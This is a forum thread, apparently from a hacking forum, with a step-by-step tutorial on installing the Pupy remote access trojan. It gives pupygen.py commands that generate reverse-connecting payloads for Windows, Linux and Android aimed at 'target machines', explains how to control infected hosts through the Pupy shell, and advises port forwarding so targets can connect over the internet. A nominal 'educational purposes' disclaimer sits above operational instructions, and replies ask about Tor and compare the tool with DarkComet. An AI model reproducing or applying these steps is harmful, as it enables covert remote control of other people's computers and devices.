Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tutorial] How to Setup Pupy RAT for Windows, Linux and Android - Opensource [2017]

If you would rather watch a video guide with vocal instructions, check this out:





What is Pupy?
Pupy is an opensource, multi-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python.
It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.
Read more: https://github.com/n1nj4sec/pupy

In this tutorial, I'll be showing you how to setup Pupy and generate payloads for Windows, Linux and Android.

Warning
This guide is meant for educational purposes only, accessing other people's computers without appropriate permissions is illegal and I don't condone it in any way.
I am not responsible for your actions.


Getting Started...
To get started, head over to the official Pupy GitHub repo and download the entire project as a zip file.

[Image: a9dd1c3f47.png]

Extract the contents of the archive and read the text file titled 'Requirements.txt' inside the folder.
This text file contains the list of packages required for setting up Pupy - make sure you install all of them.

Generating The Payload
Once you're done installing all the packages, we're ready to generate our payload.

For this, open a terminal window in the directory which contains the 'pupygen.py' file and type:
Code
./pupygen.py
You should now be able to see the proper usage/parameters to be used while generating the payload.
[Image: 5303e6c24f.png]

Now open a different terminal and type in the following command to find your IP address:
Code
ifconfig
[Image: 43f9a1c878.png]
The highlighted IP address is the one to which you want your target machines to connect.
Note it down and close the terminal.

Here are the commands for generating payloads for Windows, Linux and Android respectively.
[Image: 1741c377d2.png]

Windows:
Code
./pupygen.py -f exe_x86 -o <FileName>.exe connect --host <IP:Port>
Replace IP:Port with the IP address that we obtained in the above step and any valid port number that is not currently in use.
For targeting 64bit machines, change exe_x86 to exe_x64.

Linux:
Code
./pupygen.py -f py -o <FileName>.py connect --host <IP:Port>

Android:
Code
./pupygen.py -f apk -o <FileName>.apk connect --host <IP:Port>

[Image: ec7d23daf1.png]
If everything went well, it should say "payload successfully generated" and the payload should be visible in the same folder.

Remote Administration
To begin remote administration once the payload has been deployed, open another terminal in the same folder and type in:
Code
./pupysh.py
That will open up the Pupy shell. If it says "Server started on port <PORTNUMBER> with transport ssl", it means your port number was valid and not in use and you're all set to accept the connecting from the target machine.
Input a question mark (?) to get the list of all the available commands.
[Image: 54ab636189.png]

To see all the available modules, type in:
Code
list_modules
[Image: 1b219544ac.png]

To use a particular module, follow the format:
Code
run <MODULE NAME>
If a module requires additional parameters, that will be specified.

Once you're done remotely administrating the machine, use the following command to disconnect all the clients:
Code
run general/exit

Conclusion
This works over LAN. If you wish to do this over the internet, find your public IP address online and make sure that the port you select is appropriately forwarded.

A simple Windows 32bit payload generated by Pupy is around 6MB in size (pretty big) and it is in no way perfect. But it is free and opensource!
Keep that in mind while using Pupy.

That's pretty much it.
If you have any questions, feel free to ask.

- Arcanecfg.

For the glory of humanity
Nice tips, thanks for sharing...!!
Can you make this so you can connect over TOR?
Thank you for sharing this.
I will be messing around with this in a few days.
Would you prefer this rat over darkcomet?
(Oct 18, 2016 06:13 PM)FookingHostile Wrote:  Thank you for sharing this.
I will be messing around with this in a few days.
Good luck.

(Oct 18, 2016 07:10 PM)mistarp Wrote:  Would you prefer this rat over darkcomet?

I would not, but this is a great alternative.

For the glory of humanity
Thank you really much, I really liked your video,
If you make a video about how to write modules and more about how it works inside it may be really nice
Iam wondering can we use metasploit exploits in this?
thank you for sharing it buddy :)
Thank your for sharing , it's cool
Nice! Thaks dude! :)
Have a nice day! ;)
I set this up on Kali and it worked well :) granted I have only messed around on my home network, but it does its job none the less
[Image: Pv1zHyF.gif]

Thanks for the info I will try it out.
I haven't yet tried the Windows payload. If anyone has, let me know how that turned out.

For the glory of humanity
Ok then. At least it has more effort put into it.
https://hackforums.net/showthread.php?tid=5415330


Possibly Related Threads...
Thread / Author Replies Views Last Post
by TyrNov 24, 2024 12:44 PM 0 260 Nov 24, 2024 12:44 PM
Last Post: Tyr
by Pain And GainSep 18, 2024 11:10 PM 42 3,567 Sep 18, 2024 11:10 PM
Last Post: Bastille
by ๖ۣۜTigerNet™Sep 15, 2022 09:34 PM 14 2,167 Sep 15, 2022 09:34 PM
Last Post: sxmxo